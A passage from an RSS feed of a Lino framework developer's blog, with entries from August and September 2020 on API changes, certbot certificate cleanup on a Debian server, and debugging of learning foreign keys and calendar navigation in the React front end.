plugin method &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/plugin.html#lino.core.plugin.Plugin.get_quicklinks" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.plugin.Plugin.get_quicklinks()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.model.Model.get_simple_parameters()&lt;/span&gt;&lt;/code&gt; may now yield an iterator of
a series of fields. Until now the application developer had to write:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@classmethod&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_simple_parameters&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Demand&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_simple_parameters&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;customer&amp;quot;&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;customer__place&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now they can write more intuitively:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@classmethod&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_simple_parameters&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Demand&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_simple_parameters&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;customer&amp;quot;&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;customer__place&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;TODO: review the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;UserDetail&lt;/span&gt;&lt;/code&gt; layout (in all three steps). There is
“design problem”: the LETS tutorial is in the Developer Guide but it requires a
Contributor environment.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0904.html</guid><pubDate>Fri, 04 Sep 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, September 2, 2020</title><link>https://luc.lino-framework.org/blog/2020/0902.html</link><description>&lt;section id="wednesday-september-2-2020"&gt;
&lt;h1&gt;Wednesday, September 2, 2020&lt;a class="headerlink" href="#wednesday-september-2-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;It seems that I messed certain things up when trying to install the certificate
for &lt;a class="reference external" href="https://lets.lino-framework.org"&gt;https://lets.lino-framework.org&lt;/a&gt; yesterday.  Now I had a couple of hours to
learn more about certbot.   I updated the &lt;a class="reference external" href="https://hosting.lino-framework.org/certbot/#hosting-certbot" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Using Certbot/Let’s encrypt with Lino&lt;/span&gt;&lt;/a&gt; page and made
some changes in &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;. Though I am still far from knowing everything…&lt;/p&gt;
&lt;p&gt;How to see which Debian I am running:&lt;/p&gt;
&lt;div class="highlight-console notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;lsb_release&lt;span class="w"&gt; &lt;/span&gt;-a
&lt;span class="go"&gt;No LSB modules are available.&lt;/span&gt;
&lt;span class="go"&gt;Distributor ID:       Debian&lt;/span&gt;
&lt;span class="go"&gt;Description:  Debian GNU/Linux 10 (buster)&lt;/span&gt;
&lt;span class="go"&gt;Release:      10&lt;/span&gt;
&lt;span class="go"&gt;Codename:     buster&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a class="reference external" href="https://certbot.eff.org/lets-encrypt/debianbuster-nginx"&gt;https://certbot.eff.org/lets-encrypt/debianbuster-nginx&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight-console notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;certbot&lt;span class="w"&gt; &lt;/span&gt;python-certbot-nginx
&lt;span class="go"&gt;Reading package lists... Done&lt;/span&gt;
&lt;span class="go"&gt;Building dependency tree&lt;/span&gt;
&lt;span class="go"&gt;Reading state information... Done&lt;/span&gt;
&lt;span class="go"&gt;certbot is already the newest version (0.31.0-1).&lt;/span&gt;
&lt;span class="go"&gt;python-certbot-nginx is already the newest version (0.31.0-1).&lt;/span&gt;
&lt;span class="go"&gt;0 upgraded, 0 newly installed, 0 to remove and 124 not upgraded.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A “messy certificate” is a certificate that covers a domain which is already
covered by another certificate. How to find messy certificates?&lt;/p&gt;
&lt;p&gt;I deleted a few of them using:&lt;/p&gt;
&lt;div class="highlight-console notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;certbot-auto&lt;span class="w"&gt; &lt;/span&gt;delete&lt;span class="w"&gt; &lt;/span&gt;--cert-name&lt;span class="w"&gt; &lt;/span&gt;team.new.lino-framework.org
&lt;span class="go"&gt;Requesting to rerun /usr/local/bin/certbot-auto with root privileges...&lt;/span&gt;
&lt;span class="go"&gt;Saving debug log to /var/log/letsencrypt/letsencrypt.log&lt;/span&gt;

&lt;span class="go"&gt;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&lt;/span&gt;
&lt;span class="go"&gt;Deleted all files relating to certificate team.new.lino-framework.org.&lt;/span&gt;
&lt;span class="go"&gt;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&lt;/span&gt;
&lt;span class="gp gp-VirtualEnv"&gt;(master)&lt;/span&gt; &lt;span class="gp"&gt;luc@lf:/usr/bin$&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;How can I see all certificates that cover a given domain?&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;TODO&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;How to see all enabled sites and the certificate they use:&lt;/p&gt;
&lt;div class="highlight-console notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/etc/nginx/sites-enabled
&lt;span class="gp"&gt;$ &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;ssl_certificate_key&lt;span class="w"&gt; &lt;/span&gt;*
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;How to maintain the list of domains in a separate file.&lt;/p&gt;
&lt;p&gt;Let’s say you have a certificate named &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;example.com&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Create a file named &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;~/domains.txt&lt;/span&gt;&lt;/code&gt; with one line per domain, each line
starts with &lt;cite&gt;-d&lt;/cite&gt;:&lt;/p&gt;
&lt;div class="highlight-console notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="go"&gt;-d example.com&lt;/span&gt;
&lt;span class="go"&gt;-d www.example.com&lt;/span&gt;
&lt;span class="go"&gt;-d sub1.example.com&lt;/span&gt;
&lt;span class="go"&gt;...&lt;/span&gt;
&lt;span class="go"&gt;-d sub9.example.com&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;You can now always update this file and then run the following to updated your
certificate:&lt;/p&gt;
&lt;div class="highlight-console notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;xargs&lt;span class="w"&gt; &lt;/span&gt;-a&lt;span class="w"&gt; &lt;/span&gt;~/domains.txt&lt;span class="w"&gt; &lt;/span&gt;certbot-auto&lt;span class="w"&gt; &lt;/span&gt;certonly&lt;span class="w"&gt; &lt;/span&gt;--cert-name&lt;span class="w"&gt; &lt;/span&gt;example.com
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0902.html</guid><pubDate>Wed, 02 Sep 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, September 1, 2020</title><link>https://luc.lino-framework.org/blog/2020/0901.html</link><description>&lt;section id="tuesday-september-1-2020"&gt;
&lt;h1&gt;Tuesday, September 1, 2020&lt;a class="headerlink" href="#tuesday-september-1-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="fixed-some-issues-with-learning-foreign-keys"&gt;
&lt;h2&gt;Fixed some issues with learning foreign keys&lt;a class="headerlink" href="#fixed-some-issues-with-learning-foreign-keys" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3653"&gt;#3653&lt;/a&gt;.
Summary of changes:
&lt;a class="reference external" href="https://using.lino-framework.org/topics/rdbms.html#term-learning-foreign-key" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;Learning foreign keys&lt;/span&gt;&lt;/a&gt; now also work in &lt;a class="reference external" href="https://react.lino-framework.org/index.html#react" title="(in Lino React)"&gt;&lt;span&gt;React front end for Lino&lt;/span&gt;&lt;/a&gt;.
The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.Guest.partner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.Guest.partner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field is now a &lt;a class="reference external" href="https://using.lino-framework.org/topics/rdbms.html#term-learning-foreign-key" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;learning foreign key&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This didn’t require any change in &lt;a class="reference external" href="https://react.lino-framework.org/index.html#react" title="(in Lino React)"&gt;&lt;span&gt;React front end for Lino&lt;/span&gt;&lt;/a&gt; because react actually handled
LFKs better than extjs. I rather adapted Lino to accept the react way as well.&lt;/p&gt;
&lt;p&gt;I reviewed the internal API for defining learning FKs.
Removed the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;disable_create_choice&lt;/span&gt;&lt;/code&gt; attribute of &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/model.html#lino.core.model.Model" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.model.Model&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
The &lt;a class="reference external" href="https://dev.lino-framework.org/dev/create.html#lino.core.model.Model.choice_text_to_dict" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.model.Model.choice_text_to_dict()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; method is now the only thing
to implement. When it returns a dict, then the database object gets created.
When it returns &lt;cite&gt;None&lt;/cite&gt;, the user will see a warning.  Default implementation
returns &lt;cite&gt;None&lt;/cite&gt;.  The only implemented usage so far is in &lt;cite&gt;contacts.Person&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;NB it is still necessary to explicitly create a chooser and a
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;create_FOO_choice()&lt;/span&gt;&lt;/code&gt; method.  But now the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;create_FOO_choice()&lt;/span&gt;&lt;/code&gt; method
is a one-liner.&lt;/p&gt;
&lt;p&gt;An easy place for reproducing the problem:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;go amici1, runserver, sign in as robin, go to the detail of some appointment.
Click on the “Person” field in the Presences panel to add a new person. Type
“Foo Bar” (name of a person that doesn’t yet exist). Type Enter.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Expected behaviour: Lino should create a person &lt;cite&gt;(first_name=”Foo”,
last_name=”Bar”)&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Actual behaviour: the JS console says
SyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It is –correctly– sending a POST to
&lt;a class="reference external" href="http://127.0.0.1:8000/api/cal/GuestsByEvent"&gt;http://127.0.0.1:8000/api/cal/GuestsByEvent&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And the POST request says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;an&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;grid_post&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;209&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;partner&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;rp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;weak&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That is, it doesn’t send a &lt;cite&gt;partnerHidden&lt;/cite&gt; field, as it would when we select an
existing person:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;an&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;grid_post&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;209&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;partner&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Odette&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;Adam&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;partnerHidden&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;227&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;rp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;weak&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The extjs front end worked because there the combobox puts the value “foo bar”
in both fields of the AJAX request (partner and partnerHidden). Which is not
very elegant. I changed Lino to support an empty partner field and to look up the
partnerHidden field for comboboxes of a learning FK.&lt;/p&gt;
&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;storeField.form2obj()&lt;/span&gt;&lt;/code&gt; has three steps:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;extract_form_data()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;parse_form_value()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;set_value_in_object()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The code to create the partner is no longer executed in &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;parse_form_value()&lt;/span&gt;&lt;/code&gt;
but in &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;extract_form_data()&lt;/span&gt;&lt;/code&gt;. The internal “value” returned by
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;extract_form_data()&lt;/span&gt;&lt;/code&gt; is no longer the parsed primary key but the model
instance (which potentially has been created on the fly).&lt;/p&gt;
&lt;p&gt;In &lt;cite&gt;ParameterStore.parse_params&lt;/cite&gt; we do not use the learning FK feature.&lt;/p&gt;
&lt;p&gt;I moved the functions &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;choices_response()&lt;/span&gt;&lt;/code&gt;  and &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;choices_for_field()&lt;/span&gt;&lt;/code&gt;
from &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react.react.views&lt;/span&gt;&lt;/code&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.views.html#module-lino.core.views" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.views&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and to
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.fields.html#module-lino.core.fields" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.fields&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; because this was duplicated code.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="another-bug"&gt;
&lt;h2&gt;Another bug&lt;a class="headerlink" href="#another-bug" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3773"&gt;#3773&lt;/a&gt;:
When I call, in react, in a slave table, the delete_selected action, react
doesn’t specify the mk and mt parameters.  Which sometimes works (when the
master instance is not needed), but e.g. for a &lt;cite&gt;cal.Guest&lt;/cite&gt; it failed.
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;cal.GuestsByEvent.disable_delete()&lt;/span&gt;&lt;/code&gt; now raises an explicit exception in
that case:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;You must specify a master instance&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="reviewing-the-lets-tutorial"&gt;
&lt;h2&gt;Reviewing the LETS tutorial&lt;a class="headerlink" href="#reviewing-the-lets-tutorial" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I realized that &lt;a class="reference external" href="https://dev.lino-framework.org/dev/lets/index.html#lino-tutorial-lets" title="(in Lino Developer Guide)"&gt;&lt;span&gt;The LETS tutorial&lt;/span&gt;&lt;/a&gt; is actually a great example of
developing your own Lino application from scratch. A moved it to the “Getting
started” section of the developer guide.&lt;/p&gt;
&lt;p&gt;I moved the code and the specs for lets1 into a new repository
&lt;a class="reference external" href="https://gitlab.com/lino-framework/lets"&gt;https://gitlab.com/lino-framework/lets&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0901.html</guid><pubDate>Tue, 01 Sep 2020 00:00:00 +0000</pubDate></item><item><title>Monday, August 31, 2020</title><link>https://luc.lino-framework.org/blog/2020/0831.html</link><description>&lt;section id="monday-august-31-2020"&gt;
&lt;h1&gt;Monday, August 31, 2020&lt;a class="headerlink" href="#monday-august-31-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0831.html</guid><pubDate>Mon, 31 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, August 29, 2020</title><link>https://luc.lino-framework.org/blog/2020/0829.html</link><description>&lt;section id="saturday-august-29-2020"&gt;
&lt;h1&gt;Saturday, August 29, 2020&lt;a class="headerlink" href="#saturday-august-29-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.RecurrenceSet.positions&lt;/span&gt;&lt;/code&gt; field was not visible
&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt;.  I now added it to the detail layout in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.courses.html#module-lino_xl.lib.courses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.courses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I added a &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-std" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;std&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture to &lt;a class="reference external" href="https://synodalsoft.gitlab.io/amici/api/lino_amici.lib.amici.html#module-lino_amici.lib.amici" title="(in Lino Amici)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_amici.lib.amici&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  TODO: This
should actually be in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.courses.html#module-lino_xl.lib.courses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.courses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, but the existing demo fixtures
will need to&lt;/p&gt;
&lt;p&gt;When you ask to generate meetings for an activity with positions, Lino said
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;AjaxExceptionResponse&lt;/span&gt; &lt;span class="pre"&gt;TypeError:&lt;/span&gt; &lt;span class="pre"&gt;can't&lt;/span&gt; &lt;span class="pre"&gt;compare&lt;/span&gt; &lt;span class="pre"&gt;datetime.datetime&lt;/span&gt; &lt;span class="pre"&gt;to&lt;/span&gt;
&lt;span class="pre"&gt;datetime.date&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;section id="checklist-items-per-ticket"&gt;
&lt;h2&gt;Checklist items per ticket&lt;a class="headerlink" href="#checklist-items-per-ticket" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I saw that Tonis added a spontaneous idea: check list items per ticket.
Phabricator also has this notion.  I finished what he should have done: adapt
the doctests.  I also did some style changes, added a view for the Explorer
menu, made the labels translatable.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0829.html</guid><pubDate>Sat, 29 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Friday, August 28, 2020</title><link>https://luc.lino-framework.org/blog/2020/0828.html</link><description>&lt;section id="friday-august-28-2020"&gt;
&lt;h1&gt;Friday, August 28, 2020&lt;a class="headerlink" href="#friday-august-28-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3769"&gt;#3769&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;How to reproduce: go amici1; runserver; sign in as robin. The dashboard says “We
are running with simulated date set to Monday, 16 December 2019.” Select
&lt;span class="menuselection"&gt;Calendar ‣ Calendar&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Week navigation causes calendar to mess up weeks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Initial view is correct: &lt;a class="reference external" href="http://127.0.0.1:8000/#/api/calview/WeeklyView/0"&gt;http://127.0.0.1:8000/#/api/calview/WeeklyView/0&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;In the navigation_panel, hover to the “50” for the previous week. It links
to the following URL:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;javascript&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;App&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;runAction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;actorId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;calview.WeeklyView&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;an&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
